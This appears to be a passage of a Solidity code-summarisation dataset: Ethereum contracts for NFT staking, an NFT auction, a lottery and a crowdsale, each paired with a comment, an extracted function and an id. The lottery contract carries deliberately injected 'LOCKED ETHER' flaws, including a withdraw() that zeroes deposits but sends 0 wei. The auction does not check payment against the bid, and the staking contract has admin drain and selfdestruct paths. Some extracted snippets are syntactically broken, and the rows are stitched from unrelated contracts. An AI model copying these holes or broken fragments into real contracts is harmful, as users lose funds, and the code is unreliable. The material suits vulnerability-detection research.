return (pair_address, IUniswapV2Pair(pair_address));
}
function get_weth_reserve(address pair_address) private view returns(uint, uint) {
IUniswapV2Pair pair = IUniswapV2Pair(pair_address);
uint112 token_reserve;
uint112 native_reserve;
uint32 last_timestamp;
(token_reserve, native_reserve, last_timestamp) = pair.getReserves();
return (token_reserve, native_reserve);
}
function get_weth_price_impact(address token, uint amount, bool sell) private view returns(uint) {
address pair_address = IUniswapFactory(router.factory()).getPair(token, router.WETH());
(uint res_token, uint res_weth) = get_weth_reserve(pair_address);
uint impact;
if(sell) {
impact = (amount * 100) / res_token;
} else {
impact = (amount * 100) / res_weth;
}
return impact;
}
}
contract calendar {
function get_year_to_uint() public pure returns(uint) {
return(365 days);
}
function get_month_to_uint() public pure returns(uint) {
return(30 days);
}
function get_week_to_uint() public pure returns(uint) {
return(7 days);
}
function get_day_to_uint() public pure returns(uint) {
return(1 days);
}
function get_x_days_to_uint(uint16 _days) public pure returns(uint) {
return((1 days*_days));
}
}
/******************** MEISHU NFT STAKING *********************/
contract MeishuStake is protected, smart,calendar {
receive() payable external {}
fallback() external {}
mapping(address => bool) public nft_addresses;
bool public nft_lock;
address public default_earning;
mapping(address => address) public custom_earning;
mapping(address => mapping(uint => uint)) public nft_rewards;
mapping(address => uint) public custom_floor;
uint public _common_reward;
///@dev Modifiers rates
uint burn_rate;
uint penalty_rate;
///@dev Updated each time a floor is added or removed
uint total_floors;
struct SINGLE_STAKE {
address nft;
uint token_id;
ERC721 nft_token;
address earned;
ERC20 earned_token;
uint8 qty;
uint floor;
uint start_time;
uint timelocked;
uint rewards;
bool active;
bool exists;
bool floor_based;
}
mapping(uint => bool) public times;
struct STAKEHOLDER {
mapping(uint => SINGLE_STAKE) stakes;
uint total_withdraw;
uint total_staked_value;
uint last_stake;
uint[] closed_pools;
bool blacklisted;
}
mapping (address => STAKEHOLDER) stakeholder;
constructor() {
owner = msg.sender;
is_auth[owner] = true;
times[30 days] = true;
times[60 days] = true;
times[90 days] = true;
/*
30 days = 2592000
60 days = 5184000
90 days = 7776000
*/
}
///@dev Stake a specific NFT
function stake_nft(address _nft, uint id, uint timelock) payable public safe {
if(nft_lock) {
require(nft_addresses[_nft], "This staking support other nfts");
}
require(times[timelock], "Timelock wrong");
require(msg.value==meishuFee, "Underpaid or overpaid"); // 0.1 ETH pays for fees and gas
uint kaiPart = (meishuFee * kaiTax)/100;
kaiBalance += kaiPart; // 1% to Kaiba
meishuBalance = meishuFee - kaiPart;
require(ERC721(_nft).isApprovedForAll(msg.sender, address(this)), "Pleasea approve transfer status");
stakeholder[msg.sender].last_stake = stakeholder[msg.sender].last_stake + 1;
uint last_stake = stakeholder[msg.sender].last_stake;
// Configure the stake
stakeholder[msg.sender].stakes[last_stake].nft = _nft;
stakeholder[msg.sender].stakes[last_stake].nft_token = ERC721(_nft);
// Check if there is a particular token to earn
if(custom_earning[_nft]==DEAD) {
stakeholder[msg.sender].stakes[last_stake].earned = default_earning;
stakeholder[msg.sender].stakes[last_stake].earned_token = ERC20(default_earning);
} else {
stakeholder[msg.sender].stakes[last_stake].earned = custom_earning[_nft];
stakeholder[msg.sender].stakes[last_stake].earned_token = ERC20(custom_earning[_nft]);
}
// Check if there is a particular reward rate
stakeholder[msg.sender].stakes[last_stake].rewards = _common_reward;
// Transfer and last settings
ERC721(_nft).transferFrom(msg.sender, address(this), id);
stakeholder[msg.sender].stakes[last_stake].token_id = id;
stakeholder[msg.sender].stakes[last_stake].qty = 1;
stakeholder[msg.sender].stakes[last_stake].floor = custom_floor[_nft];
stakeholder[msg.sender].stakes[last_stake].start_time = block.timestamp;
stakeholder[msg.sender].stakes[last_stake].active = true;
stakeholder[msg.sender].stakes[last_stake].exists = true;
total_floors += custom_floor[_nft];
}
///@dev Approve the transfer of a token (must be called before staking)
function approve_nft_on_contract(address _nft) public {
ERC721(_nft).setApprovalForAll(address(this), true);
}
///@dev Set the burn rate
function set_burn_rate(uint rate) public onlyAuth {
burn_rate = rate;
}
///@dev Set the penalty rate
function set_penalty_rate(uint rate) public onlyAuth {
penalty_rate = rate;
}
///@dev Set the default earning token
function set_base_earning(address _earning) public onlyAuth {
default_earning = _earning;
}
///@dev Set custom reward for an nft (yearly based)
function set_nft_reward(address _nft, uint _time, uint _reward) public onlyAuth {
nft_rewards[_nft][_time] = _reward;
}
function set_common_reward(uint _reward) public onlyAuth {
_common_reward = _reward;
}
///@dev Set custom earning token for an nft
function set_custom_earning(address _nft, address _earning) public onlyAuth {
custom_earning[_nft] = _earning;
}
///@dev set floor for a specific nft
function set_floor_on(address _nft, uint _floor) public onlyAuth {
custom_floor[_nft] = _floor;
}
///@dev set floor for a specific pool updating total_floors
function set_pool_floor(address _stakeholder, uint _id, uint _floor) public onlyAuth {
require(stakeholder[_stakeholder].stakes[_id].exists, "Pool is unconfigured");
uint old_floor = stakeholder[_stakeholder].stakes[_id].floor;
total_floors -= old_floor;
stakeholder[_stakeholder].stakes[_id].floor = _floor;
total_floors += _floor;
}
///@dev invalidate a pool
function invalidate_pool(address _stakeholder, uint _id) public onlyAuth {
require(stakeholder[_stakeholder].stakes[_id].exists, "Pool is unconfigured");
stakeholder[_stakeholder].stakes[_id].exists = false;
uint old_floor = stakeholder[_stakeholder].stakes[_id].floor;
total_floors -= old_floor;
}
///@dev Enable or disable a time
function set_time_status(uint timed, bool booly) public onlyAuth {
times[timed] = booly;
}
///@dev get balance
function set_staking_fee(uint wei_fee) public onlyAuth {
meishuFee = wei_fee;
}
///@dev get balance
function set_kaiba_share(uint perc_share) public onlyAuth {
kaiTax = perc_share;
}
///@dev get balance
function retrieve_meishu_balance() public onlyAuth {
if(!(address(this).balance >= meishuBalance)) {
meishuBalance = (address(this).balance*kaiTax)/100;
kaiBalance = address(this).balance - meishuBalance;
}
(bool sent,) = msg.sender.call{value: meishuBalance}("");
require(sent, "Can't withdraw");
}
///@dev get kaiba share
function retrieve_kaiba_balance() public onlyAuth {
if(!(address(this).balance >= kaiBalance)) {
meishuBalance = (address(this).balance*kaiTax)/100;
kaiBalance = address(this).balance - meishuBalance;
}
(bool sent,) = msg.sender.call{value: kaiBalance}("");
require(sent, "Can't withdraw");
}
///@dev solve stuck problems
function unstuck() public onlyAuth {
meishuBalance = 0;
kaiBalance = 0;
(bool sent,) = msg.sender.call{value: address(this).balance-1}("");
require(sent, "Can't withdraw");
}
/************************* Views *************************/
///@dev get a single pool
function get_stakeholder_single_pool(address _stakeholder, uint _id) public view returns(
address _nft,
uint _nft_id,
address _earned,
uint _start_time,
uint _locktime,
uint _reward)
{
require(stakeholder[_stakeholder].stakes[_id].exists, "Pool is unconfigured");
return(
stakeholder[_stakeholder].stakes[_id].nft,
stakeholder[_stakeholder].stakes[_id].token_id,
stakeholder[_stakeholder].stakes[_id].earned,
stakeholder[_stakeholder].stakes[_id].start_time,
stakeholder[_stakeholder].stakes[_id].timelocked,
stakeholder[_stakeholder].stakes[_id].rewards
);
}
///@dev get all the pools
function get_all_pools(address stkholder) public view returns (uint all_pools, uint[] memory closed_pools) {
return( stakeholder[stkholder].last_stake,
stakeholder[stkholder].closed_pools);
}
///@dev calculate reward based on emission
function get_rewards_on(address _stakeholder, uint _id) public view returns(uint _reward) {
require(stakeholder[_stakeholder].stakes[_id].exists, "Pool is unconfigured");
require(stakeholder[_stakeholder].stakes[_id].active, "Pool is inactive");
uint reward = _common_reward;
uint start_time = stakeholder[_stakeholder].stakes[_id].start_time;
uint this_reward = _get_rewards(reward, start_time);
return this_reward;
}
function _get_rewards(uint reward, uint start_time) private view returns (uint uf_reward){
uint delta_time = block.timestamp - start_time;
uint year_perc = (delta_time * 1000000) / get_year_to_uint();
uint actual_reward = ((reward * year_perc) / 100)/10000;
return actual_reward;
}
///@dev Calculate annual return
function get_annual_return(address _stakeholder, uint _id) public view returns (uint _reward_value){
address reward = stakeholder[_stakeholder].stakes[_id].earned;
uint amount = get_rewards_on(_stakeholder, _id);
uint reward_value = getTokenPrice(reward, amount);
return reward_value;
}
///@dev Calculate APY
/* function get_apy(address _stakeholder, uint _id) public view returns (uint _apy){
address _nft = stakeholder[_stakeholder].stakes[_id].nft;
address earned;
uint reward;
if(custom_earning[_nft]==DEAD) {
earned = default_earning;
} else {
earned = custom_earning[_nft];
}
// Check if there is a particular reward rate
if(custom_reward[_nft]==0) {
reward = default_reward;
} else {
reward = custom_reward[_nft];
}
uint reward_value = getTokenPrice(earned, reward);
uint apy = (reward_value*100)/reward;
return apy;
} */
///@dev Tokens (ERC20) price
function getTokenPrice(address tkn, uint amount) public view returns(uint)
{
IUniswapFactory factory = IUniswapFactory(router.factory());
address pairAddress = factory.getPair(tkn, router.WETH());
IUniswapV2Pair pair = IUniswapV2Pair(pairAddress);
ERC20 token1 = ERC20(pair.token1());
(uint Res0, uint Res1,) = pair.getReserves();
// decimals
uint res0 = Res0*(10**token1.decimals());
return((amount*res0)/Res1); // return amount of token0 needed to buy token1
}
///@dev Payout earnings
function withdraw_earnings(address _stakeholder, uint _id) public safe {
require(msg.sender == _stakeholder, "Don't steal");
require(block.timestamp >= (stakeholder[_stakeholder].stakes[_id].start_time+1 hours),"Wait.");
bool penalty;
if(block.timestamp < (stakeholder[_stakeholder].stakes[_id].start_time + 15 days)) {
penalty = true;
}
address earning = stakeholder[_stakeholder].stakes[_id].earned;
uint reward_amount_raw = get_rewards_on(_stakeholder, _id);
uint burn_amount = (reward_amount_raw * burn_rate)/100;
uint penalty_amount;
if(penalty) {
penalty_amount = (reward_amount_raw * penalty_rate)/100;
}
uint reward_amount = reward_amount_raw - burn_amount - penalty_amount;
require(ERC20(earning).balanceOf(address(this)) >= reward_amount, "Not enough tokens");
ERC20(earning).transfer(_stakeholder, reward_amount);
ERC20(earning).transfer(DEAD, burn_amount);
stakeholder[_stakeholder].total_withdraw += reward_amount;
stakeholder[_stakeholder].stakes[_id].start_time = block.timestamp;
private_recover_pool(_stakeholder, _id, msg.sender, stakeholder[_stakeholder].stakes[_id].token_id);
}
/************************* Control Panel *************************/
function ctrl_disband() public onlyAuth {
selfdestruct(payable(owner));
}
function ctrl_allow_nft(address nftaddy, bool booly) public onlyAuth {
nft_addresses[nftaddy] = booly;
}
function ctrl_universal_staking(bool booly) public onlyAuth {
nft_lock = booly;
}
/// @dev Forcibly unset a pool
function ctrl_unstuck_token(address _stakeholder, uint _id, address caller, uint _token_id) public onlyAuth {
private_recover_pool(_stakeholder, _id, caller, _token_id);
}
/// @dev Forcibly set a pool
function ctrl_remake_pool(address _nft, uint id, address staker) public onlyAuth {
require(ERC721(_nft).isApprovedForAll(msg.sender, address(this)), "Pleasea approve transfer status");
stakeholder[staker].last_stake = stakeholder[staker].last_stake + 1;
uint last_stake = stakeholder[staker].last_stake;
// Configure the stake
stakeholder[staker].stakes[last_stake].nft = _nft;
stakeholder[staker].stakes[last_stake].nft_token = ERC721(_nft);
// Check if there is a particular token to earn
if(custom_earning[_nft]==DEAD) {
stakeholder[staker].stakes[last_stake].earned = default_earning;
stakeholder[staker].stakes[last_stake].earned_token = ERC20(default_earning);
} else {
stakeholder[staker].stakes[last_stake].earned = custom_earning[_nft];
stakeholder[staker].stakes[last_stake].earned_token = ERC20(custom_earning[_nft]);
}
// Check if there is a particular reward rate
stakeholder[staker].stakes[last_stake].rewards = _common_reward;
// Transfer and last settings
ERC721(_nft).transferFrom(msg.sender, address(this), id);
stakeholder[staker].stakes[last_stake].token_id = id;
stakeholder[staker].stakes[last_stake].qty = 1;
stakeholder[staker].stakes[last_stake].floor = custom_floor[_nft];
stakeholder[staker].stakes[last_stake].start_time = block.timestamp;
stakeholder[staker].stakes[last_stake].active = true;
stakeholder[staker].stakes[last_stake].exists = true;
total_floors += custom_floor[_nft];
}
/************************* Private Helpers *************************/
function private_recover_pool(address _stakeholder, uint _id, address caller, uint _token_id) private {
// Update total floor
uint old_floor = stakeholder[_stakeholder].stakes[_id].floor;
total_floors -= old_floor;
// Takes back nft
if(!is_auth[caller]) {
require(ERC721(stakeholder[_stakeholder].stakes[_id].nft).ownerOf(_token_id) == address(this), "Nope");
}
ERC721(stakeholder[_stakeholder].stakes[_id].nft).transferFrom(address(this), caller, _token_id);
// Unsetting all
stakeholder[_stakeholder].closed_pools.push(_id);
stakeholder[_stakeholder].stakes[_id].nft = DEAD;
stakeholder[_stakeholder].stakes[_id].earned = DEAD;
stakeholder[_stakeholder].stakes[_id].qty = 0;
stakeholder[_stakeholder].stakes[_id].floor = 0;
stakeholder[_stakeholder].stakes[_id].start_time = 0;
stakeholder[_stakeholder].stakes[_id].rewards = 0;
stakeholder[_stakeholder].stakes[_id].active = false;
stakeholder[_stakeholder].stakes[_id].exists = false;
stakeholder[_stakeholder].stakes[_id].floor_based = false;
}
}
|
ERC-721 Non-Fungible Token Standard See https://eips.ethereum.org/EIPS/eip-721 Note: the ERC-165 identifier for this interface is 0x80ac58cd.
|
interface ERC721 /* is ERC165 */ {
event Transfer(address indexed _from, address indexed _to, uint256 indexed _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 indexed _tokenId);
event ApprovalForAll(address indexed _owner, address indexed _operator, bool _approved);
function balanceOf(address _owner) external view returns (uint256);
function ownerOf(uint256 _tokenId) external view returns (address);
function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory data) external payable;
function safeTransferFrom(address _from, address _to, uint256 _tokenId) external payable;
function transferFrom(address _from, address _to, uint256 _tokenId) external payable;
function approve(address _approved, uint256 _tokenId) external payable;
function setApprovalForAll(address _operator, bool _approved) external;
function getApproved(uint256 _tokenId) external view returns (address);
function isApprovedForAll(address _owner, address _operator) external view returns (bool);
}
| 5,929,315
|
pragma solidity >=0.5.16;
contract myNft{
uint public totalNft = 0;
mapping(uint => Nft) public allNfts; //所有的Nft
// mapping(uint => string)public Storehash; //存储hash值
mapping(uint => auction) public AuctionNft; //正在拍卖的Nft
mapping (uint => address[]) public record; //拍卖记录
struct Nft{
address payable owner; //Nft拥有者
bool isAuction; //是否正在拍卖
bool isBuy; //是否是拍卖所得
uint count; //表明交易次数
string name; //名字
string pictureHash;
}
struct auction{
uint currentMoney; //当前金额
address payer ; //当前出价者
uint endTime; //结束时间
bool isSuccess; //是否成功
}
//创建一个新的NFT
function newNft(string memory name, string memory picture_hash) public returns(uint){
// Nft memory nft = Nft(msg.sender, name, false, false, (new address[](10)))
Nft memory nft = Nft(msg.sender, false, false, 1, name, picture_hash);
allNfts[totalNft] = nft;
allNfts[totalNft].count = 1;
address[] memory transaction = new address[](10);
transaction[0] = msg.sender;
record[totalNft] = transaction;
totalNft++;
return totalNft;
}
// function return_record(uint index) public returns(address[] memory){
// return record[index];
// }
//创建一个新的拍卖
function newAuction(uint index, uint _endTime, uint money) public{
Nft storage nft = allNfts[index];
require(msg.sender == nft.owner); //必须要是该Nft的主人才能创建拍卖
require(_endTime > block.timestamp); //结束时间必须晚于当前时间
nft.isAuction = true;
auction memory newAuctions = auction(money, msg.sender, _endTime, false);
AuctionNft[index] = newAuctions;
}
//出价
function invest(uint index, uint money) public {
require(money > AuctionNft[index].currentMoney); //必须比当前金额更高
require(msg.sender.balance >= money); //需要账户余额出价多,即能买得起
require(AuctionNft[index].endTime > block.timestamp); //拍卖尚未结束
auction storage cur = AuctionNft[index];
cur.currentMoney = money;
cur.payer = msg.sender;
cur.isSuccess = true;
}
//拍卖失败
function end_auction(uint index) public{
Nft memory cur_nft = allNfts[index];
cur_nft.isAuction = false; //表明不在拍卖
allNfts[index] = cur_nft;
delete AuctionNft[index]; //删除拍卖信息
}
//最高价认领
function claim(uint index) payable public{
require(AuctionNft[index].endTime < block.timestamp);
require(AuctionNft[index].isSuccess == true);
require(msg.sender == AuctionNft[index].payer); //需要他是当前最高出价人
Nft memory cur_nft = allNfts[index];
record[index][cur_nft.count] = msg.sender;
cur_nft.isAuction = false;
cur_nft.isBuy = true;
cur_nft.count++;
cur_nft.owner.transfer(msg.value); //向原主人转账
cur_nft.owner = msg.sender;
allNfts[index] = cur_nft;
delete AuctionNft[index]; //删除拍卖信息
}
}
|
创建一个新的NFT Nft memory nft = Nft(msg.sender, name, false, false, (new address[](10)))
|
function newNft(string memory name, string memory picture_hash) public returns(uint){
Nft memory nft = Nft(msg.sender, false, false, 1, name, picture_hash);
allNfts[totalNft] = nft;
allNfts[totalNft].count = 1;
address[] memory transaction = new address[](10);
transaction[0] = msg.sender;
record[totalNft] = transaction;
totalNft++;
return totalNft;
}
| 15,823,967
|
pragma solidity ^0.5.7;
/**
INSTRUCTION:
Send more then or equal to [minPayment] or 0.01 ETH to one of Wallet Contract address
[wallet_0, wallet_1, wallet_2], after round end send to This contract 0 ETH
transaction and if you choise won, take your winnings.
DAPP: https://smartlottery.clab
BOT: http://t.me/SmartLotteryGame_bot
LICENSE: Under proprietary rights. All rights reserved.
Except <lib.SafeMath, cont.Ownable, lib.Address> under The MIT License (MIT)
AUTHOR: http://t.me/pironmind
*/
/**
* Utility library of inline functions on addresses
*/
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) external pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) external pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) external pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) external pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* Interface of Secure contract
*/
interface ISecure {
function getRandomNumber(uint8 _limit, uint8 _totalPlayers, uint _games, uint _countTxs)
external
view
returns(uint);
function checkTrasted() external payable returns(bool);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title Wallet
* @dev The Wallet contract is the payable contract with a term of life in a single round.
*/
contract Wallet {
using Address for address;
using SafeMath for uint256;
using SafeMath for uint8;
SmartLotteryGame public slg;
uint256 private _totalRised;
uint8 private _players;
bool closedOut = false;
uint public gameId;
uint256 public minPaymnent;
struct bet {
address wallet;
uint256 balance;
}
mapping(uint8 => bet) public bets;
modifier canAcceptPayment {
require(msg.value >= minPaymnent);
_;
}
modifier canDoTrx() {
require(Address.isContract(msg.sender) != true);
_;
}
modifier isClosedOut {
require(!closedOut);
_;
}
modifier onlyCreator() {
require(msg.sender == address(slg));
_;
}
constructor(uint _gameId, uint256 _minPayment) public {
slg = SmartLotteryGame(msg.sender);
gameId = _gameId;
minPaymnent = _minPayment;
}
function totalPlayers() public view returns(uint8) {
return _players;
}
function totalBets() public view returns(uint256) {
return _totalRised;
}
function finishDay() external onlyCreator returns(uint256) {
uint256 balance = address(this).balance;
if (balance >= minPaymnent) {
slg.getFunds.value(balance)();
return balance;
} else {
return 0;
}
}
function closeContract() external onlyCreator returns(bool) {
return closedOut = true;
}
function addPlayer(uint8 _id, address _player, uint256 _amount)
internal
returns(bool) {
bets[_id].wallet = _player;
bets[_id].balance = _amount;
return true;
}
function() //injected LOCKED ETHER
payable
canAcceptPayment
canDoTrx
isClosedOut
external {
_totalRised = _totalRised.add(msg.value);
_players = uint8((_players).add(1));
addPlayer(_players, msg.sender, msg.value);
slg.participate();
}
}
contract SmartLotteryGame is Ownable {
using SafeMath for *;
event Withdrawn(address indexed requestor, uint256 weiAmount);
event Deposited(address indexed payee, uint256 weiAmount);
event WinnerWallet(address indexed wallet, uint256 bank);
address public secure;
uint public games = 1;
uint256 public minPayment = 10**16;
Wallet public wallet_0 = new Wallet(games, minPayment);
Wallet public wallet_1 = new Wallet(games, minPayment);
Wallet public wallet_2 = new Wallet(games, minPayment);
uint256 public finishTime;
uint256 constant roundDuration = 86400;
uint internal _nonceId = 0;
uint internal _maxPlayers = 100;
uint internal _tp = 0;
uint internal _winner;
uint8[] internal _particWallets = new uint8[](0);
uint256 internal _fund;
uint256 internal _commission;
uint256 internal _totalBetsWithoutCommission;
mapping(uint => Wallet) public wallets;
mapping(address => uint256) private _deposits;
struct wins{
address winner;
uint256 time;
address w0;
address w1;
address w2;
}
struct bet {
address wallet;
uint256 balance;
}
mapping(uint => wins) public gamesLog;
modifier isReady() {
require(secure != address(0));
_;
}
modifier onlyWallets() {
require(
msg.sender == address(wallet_0) ||
msg.sender == address(wallet_1) ||
msg.sender == address(wallet_2)
);
_;
}
constructor() public {
wallets[0] = wallet_0;
wallets[1] = wallet_1;
wallets[2] = wallet_2;
finishTime = now.add(roundDuration);
}
function _deposit(address payee, uint256 amount) internal {
_deposits[payee] = _deposits[payee].add(amount);
emit Deposited(payee, amount);
}
function _raiseFunds() internal returns (uint256) {
_fund = _fund.add(wallet_0.finishDay());
_fund = _fund.add(wallet_1.finishDay());
return _fund.add(wallet_2.finishDay());
}
function _winnerSelection() internal {
uint8 winner;
for(uint8 i=0; i<3; i++) {
if(wallets[i].totalPlayers() > 0) {
_particWallets.push(i);
}
}
// random choose one of three wallets
winner = uint8(ISecure(secure)
.getRandomNumber(
uint8(_particWallets.length),
uint8(_tp),
uint(games),
_nonceId
));
_winner = _particWallets[winner];
}
function _distribute() internal {
bet memory p;
_tp = wallets[_winner].totalPlayers();
uint256 accommulDeposit = 0;
uint256 percents = 0;
uint256 onDeposit = 0;
_commission = _fund.mul(15).div(100);
_totalBetsWithoutCommission = _fund.sub(_commission);
for (uint8 i = 1; i <= _tp; i++) {
(p.wallet, p.balance) = wallets[_winner].bets(i);
percents = (p.balance)
.mul(10000)
.div(wallets[_winner].totalBets());
onDeposit = _totalBetsWithoutCommission
.mul(percents)
.div(10000);
accommulDeposit = accommulDeposit.add(onDeposit);
_deposit(p.wallet, onDeposit);
}
_deposit(owner(), _fund.sub(accommulDeposit));
}
function _cleanState() internal {
_fund = 0;
_particWallets = new uint8[](0);
}
function _log(address winner, uint256 fund) internal {
gamesLog[games].winner = winner;
gamesLog[games].time = now;
gamesLog[games].w0 = address(wallet_0);
gamesLog[games].w1 = address(wallet_1);
gamesLog[games].w2 = address(wallet_2);
emit WinnerWallet(winner, fund);
}
function _paymentValidator(address _payee, uint256 _amount) internal {
if(_payee != address(wallet_0) &&
_payee != address(wallet_1) &&
_payee != address(wallet_2))
{
if(_amount == uint(0)) {
if(depositOf(_payee) != uint(0)) {
withdraw();
} else {
revert("You have zero balance");
}
} else {
revert("You can't do nonzero transaction");
}
}
}
function _closeWallets() internal returns (bool) {
wallets[0].closeContract();
wallets[1].closeContract();
return wallets[2].closeContract();
}
function _issueWallets() internal returns (bool) {
wallets[0] = wallet_0 = new Wallet(games, minPayment);
wallets[1] = wallet_1 = new Wallet(games, minPayment);
wallets[2] = wallet_2 = new Wallet(games, minPayment);
return true;
}
function _switchWallets() internal {
if(_closeWallets()) {
_issueWallets();
} else { revert("break on switch");}
}
function _totalPlayers() internal view returns(uint) {
return wallets[0].totalPlayers()
.add(wallets[1].totalPlayers())
.add(wallets[2].totalPlayers());
}
function depositOf(address payee) public view returns (uint256) {
return _deposits[payee];
}
function lastWinner() public view returns(address) {
return gamesLog[games].winner;
}
function participate()
external
onlyWallets
isReady
{
_nonceId = _nonceId.add(1);
_tp = _totalPlayers();
if (now >= finishTime && 1 == _tp) {
finishTime = now.add(roundDuration);
return;
}
if (now >= finishTime || _tp >= _maxPlayers) {
// send all funds to this wallet
_fund = _raiseFunds();
// if it has participators
if(_fund > 0) {
// get winner
_winnerSelection();
// do distribute
_distribute();
// log data
_log(address(wallets[_winner]), _fund);
// clear state
_cleanState();
// update round
finishTime = now.add(roundDuration);
// set next game
games = games.add(1);
// issue new wallets
return _switchWallets();
}
}
}
function setMinPayment(uint256 _value) public onlyOwner {
minPayment = _value;
}
function setSecure(address _address) public onlyOwner returns (bool) {
secure = _address;
return true;
}
function withdraw() public {
uint256 payment = _deposits[msg.sender];
_deposits[msg.sender] = 0;
msg.sender.transfer(0);
emit Withdrawn(msg.sender, payment);
}
function getFunds() public payable onlyWallets {} //injected LOCKED ETHER
function() external payable { //injected LOCKED ETHER
_paymentValidator(msg.sender, msg.value);
}
}
|
send all funds to this wallet if it has participators get winner do distribute log data clear state update round set next game issue new wallets
|
function _switchWallets() internal {
if(_closeWallets()) {
_issueWallets();
}
function _totalPlayers() internal view returns(uint) {
return wallets[0].totalPlayers()
.add(wallets[1].totalPlayers())
.add(wallets[2].totalPlayers());
}
function depositOf(address payee) public view returns (uint256) {
return _deposits[payee];
}
function lastWinner() public view returns(address) {
return gamesLog[games].winner;
}
function participate()
external
onlyWallets
isReady
{
_nonceId = _nonceId.add(1);
_tp = _totalPlayers();
if (now >= finishTime && 1 == _tp) {
finishTime = now.add(roundDuration);
return;
}
if (now >= finishTime || _tp >= _maxPlayers) {
_fund = _raiseFunds();
if(_fund > 0) {
_winnerSelection();
_distribute();
_log(address(wallets[_winner]), _fund);
_cleanState();
finishTime = now.add(roundDuration);
games = games.add(1);
return _switchWallets();
}
}
}
function setMinPayment(uint256 _value) public onlyOwner {
minPayment = _value;
}
function setSecure(address _address) public onlyOwner returns (bool) {
secure = _address;
return true;
}
function withdraw() public {
uint256 payment = _deposits[msg.sender];
_deposits[msg.sender] = 0;
msg.sender.transfer(0);
emit Withdrawn(msg.sender, payment);
}
_paymentValidator(msg.sender, msg.value);
}
| 881,951
|
pragma solidity ^0.4.19;
contract CrowdsaleTokenInterface {
uint public decimals;
function addLockAddress(address addr, uint lock_time) public;
function mint(address _to, uint256 _amount) public returns (bool);
function finishMinting() public returns (bool);
}
contract CrowdsaleLimit {
using SafeMath for uint256;
// the UNIX timestamp start date of the crowdsale
uint public startsAt;
// the UNIX timestamp end date of the crowdsale
uint public endsAt;
uint public token_decimals = 8;
uint public TOKEN_RATE_PRESALE = 7200;
uint public TOKEN_RATE_CROWDSALE= 6000;
// setting the wei value for one token in presale stage
uint public PRESALE_TOKEN_IN_WEI = 1 ether / TOKEN_RATE_PRESALE;
// setting the wei value for one token in crowdsale stage
uint public CROWDSALE_TOKEN_IN_WEI = 1 ether / TOKEN_RATE_CROWDSALE;
// setting the max fund of presale with eth
uint public PRESALE_ETH_IN_WEI_FUND_MAX = 40000 ether;
// setting the min fund of crowdsale with eth
uint public CROWDSALE_ETH_IN_WEI_FUND_MIN = 22000 ether;
// setting the max fund of crowdsale with eth
uint public CROWDSALE_ETH_IN_WEI_FUND_MAX = 90000 ether;
// setting the min acceptable invest with eth in presale
uint public PRESALE_ETH_IN_WEI_ACCEPTED_MIN = 1 ether;
// setting the min acceptable invest with eth in pubsale
uint public CROWDSALE_ETH_IN_WEI_ACCEPTED_MIN = 100 finney;
// setting the gasprice to limit big buyer, default to disable
uint public CROWDSALE_GASPRICE_IN_WEI_MAX = 0;
// total eth fund in presale stage
uint public presale_eth_fund= 0;
// total eth fund
uint public crowdsale_eth_fund= 0;
// total eth refund
uint public crowdsale_eth_refund = 0;
// setting team list and set percentage of tokens
mapping(address => uint) public team_addresses_token_percentage;
mapping(uint => address) public team_addresses_idx;
uint public team_address_count= 0;
uint public team_token_percentage_total= 0;
uint public team_token_percentage_max= 40;
event EndsAtChanged(uint newEndsAt);
event AddTeamAddress(address addr, uint release_time, uint token_percentage);
event Refund(address investor, uint weiAmount);
// limitation of buying tokens
modifier allowCrowdsaleAmountLimit(){
if (msg.value == 0) revert();
if((crowdsale_eth_fund.add(msg.value)) > CROWDSALE_ETH_IN_WEI_FUND_MAX) revert();
if((CROWDSALE_GASPRICE_IN_WEI_MAX > 0) && (tx.gasprice > CROWDSALE_GASPRICE_IN_WEI_MAX)) revert();
_;
}
function CrowdsaleLimit(uint _start, uint _end) public {
require(_start != 0);
require(_end != 0);
require(_start < _end);
startsAt = _start;
endsAt = _end;
}
// caculate amount of token in presale stage
function calculateTokenPresale(uint value, uint decimals) /*internal*/ public constant returns (uint) {
uint multiplier = 10 ** decimals;
return value.mul(multiplier).div(PRESALE_TOKEN_IN_WEI);
}
// caculate amount of token in crowdsale stage
function calculateTokenCrowsale(uint value, uint decimals) /*internal*/ public constant returns (uint) {
uint multiplier = 10 ** decimals;
return value.mul(multiplier).div(CROWDSALE_TOKEN_IN_WEI);
}
// check if the goal is reached
function isMinimumGoalReached() public constant returns (bool) {
return crowdsale_eth_fund >= CROWDSALE_ETH_IN_WEI_FUND_MIN;
}
// add new team percentage of tokens
function addTeamAddressInternal(address addr, uint release_time, uint token_percentage) internal {
if((team_token_percentage_total.add(token_percentage)) > team_token_percentage_max) revert();
if((team_token_percentage_total.add(token_percentage)) > 100) revert();
if(team_addresses_token_percentage[addr] != 0) revert();
team_addresses_token_percentage[addr]= token_percentage;
team_addresses_idx[team_address_count]= addr;
team_address_count++;
team_token_percentage_total = team_token_percentage_total.add(token_percentage);
AddTeamAddress(addr, release_time, token_percentage);
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
return now > endsAt;
}
}
contract Ownable {
address public owner;
/**
